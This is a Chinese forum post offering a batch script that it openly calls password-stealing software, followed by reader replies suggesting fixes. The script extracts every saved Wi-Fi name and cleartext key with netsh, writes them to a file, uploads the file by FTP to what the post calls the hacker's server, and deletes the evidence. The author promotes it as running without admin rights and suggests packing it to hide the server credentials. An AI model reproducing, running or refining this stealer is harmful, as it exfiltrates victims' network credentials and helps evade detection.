【bat 脚本】一个用来偷密码的软件
前言
代码思路来自吾爱破解原作者涛之雨
每个人的电脑上都会连接wifi
但是我们就可以运用这个软件bat来偷密码
代码
@echo off
setlocal enabledelayedexpansion
for /f "tokens=2* delims=:" %%i in ('netsh wlan show profiles') do (
set str=%%i
for /f "tokens=3* delims= " %%d in ('netsh wlan show profiles key^=clear name^="!str:~1!"^| findstr "关键内容"') do (
echo "!str:~1!"密码为:【%%d】>>c:\wifi.txt
cls
echo "!str:~1!"密码为:【%%d】>>c:\wifi.txt
)
)
echo open FTP服务器域名>ftp.up
cls
echo user 用户名>>ftp.up
cls
echo 密码>>ftp.up
cls
echo put "c:\wifi.txt" >>ftp.up
cls
echo bye>>ftp.up
cls
FTP -s:ftp.up
cls
del ftp.up /q
del /f /s /q c:\wifi.txt
pause
原理
大概是第一次for循环去读取wifi名称
第二次循环的目的是去除第一次循环获取的多余的一个空格(感觉写的不好。。。又不知道咋截取,干脆用循环去分割吧,如果有更好的写法欢迎在回复里提出。)
第三次是获取对应wifi名字的信息,然后用findstr去找关键内容那一行,如果找到了就分割一下(老分割了。。。)写出密码,然后再cls清屏一下隐藏痕迹
没有密码就拉倒。。。
如果没有被杀毒软件拦截就可以把密码文件传输到黑客的FTP服务器上
绿色无残留,安全无捆绑
无须管理员权限运行(似乎是的)
无须额外配置,一键获取全部以保存的wifi名及其密码
但是.bat文件是明文传输的,右键点击编辑就可以看到源码,这样FTP和密码都泄露了,所以可以自行打包一下
5 打赏
打赏 20 积分后可见
牛蛙!@taozhiyu 让大佬亲自来评价一下。
涛涛净不教人好,@taozhiyu 出来认罪
(连续输出两次?不会重复么)
还有频繁cls干啥。。。重定向到文件控制台应该没有输出了吧。。
ps:原帖:
【bat脚本】读取当前设备wifi密码(仅win10测试)
https://www.52pojie.cn/thread-1357673-1-1.html
(出处: 吾爱破解论坛)
这个还是会有输出(不用cls),而且如果不输出两次的话会显示拒绝访问,所以要输出两次
这个是输出两次的结果
可以把代码优化一下,不写入“拒绝访问”
运行效果